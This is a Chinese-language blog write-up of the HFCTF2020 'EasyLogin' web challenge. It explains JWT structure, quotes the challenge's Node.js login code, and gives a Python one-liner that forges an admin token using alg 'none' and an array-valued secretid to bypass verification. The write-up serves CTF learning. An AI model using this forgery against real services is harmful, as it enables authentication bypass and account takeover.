[HFCTF2020]WEB WP

[HFCTF2020]EasyLogin

太难了 我看着大佬的博客复现来的

node.js

首先偷个图

koa框架常用目录和文件

jwt令牌

JWT(JSON Web Token)是目前最流行的跨域认证解决方案,这种方案大意是服务器不保存session数据,而是将session数据保存在客户端,每次请求都发回服务器。

原理

在服务器认证完用户以后,生成一个json对象,再发回给用户,类似这样:

{
"姓名": "张三",
"角色": "管理员",
"到期时间": "2020年6月1日"
}

在这之后,用户与服务端通信的时候,都要发回这个json对象。服务器就靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候会加上签名。

结构

jwt解码可以通过网站

它的一般形式为

它用’.’分隔成三个部分:

Header(头部)

Payload(负载)

Signature(签名)

具体内容可以参照http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

Signature

签名部分是为了防止数据被篡改的。首先,需要指定一个密钥(secret),这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用”点”(.)分隔,就可以返回给用户。

Base64 url

Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+/=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-/替换成_ 。这就是 Base64URL 算法。

解题

查看源代码,可以进入到controllers/api.js读取关键代码:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

先找到flag说明,如果以admin为用户名登陆,就可以读取/api/flag。

试了一下注册admin和其他绕过,都不能以admin登陆,看看代码。

先看注册部分:

'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

大致意思是在用户设置账号密码后,会生成一个随机的secret,再将secret放入secrets数组里后生成secretid,再生成jwt令牌。

dbq这里我看了几个wp都不是特别懂为什么将json中的算法修改为none后验证也会通过qaq

!我今天(7月5日 做CISCN的一道题时再反回来看就懂了!

做CISCN的时候我就很疑惑,为啥那道题非要爆破密码呢,空加密不行吗!所以我就反回来看了下这个题。

赵师傅讲这个地方他是试出来的,我才看到了底下的一个评论

果然出题人在此处用的是algorithm,所以依赖库中的判断就不起作用了!懂惹

为列文虎克选手点赞!

登陆部分代码:

const {username, password} = ctx.request.body;
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});

token满足任一authorization既可,而sid是从token中获取后判断,如果三者都不满足就可以绕过。

由于nodejs是弱类型语言,当数组和数字比较时返回真。因此可以将secretid设成数组(当为浮点数也可以)。

经过以上分析,可以构造如下:

{
"alg": none,
"typ": "JWT"
}
{
"secretid": [],
"username": "admin",
"password":"admin"
}

用python构造

import jwt
print(jwt.encode({"secretid":[],"username":"admin","password":"123"},algorithm="none",key="").decode('utf-8'))

构造完后在登陆处替换authorization即可

再访问/api/flag就可以得到flag

Author: Neorah
Link: https://neorah.me/ctf/HFCTF2020/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.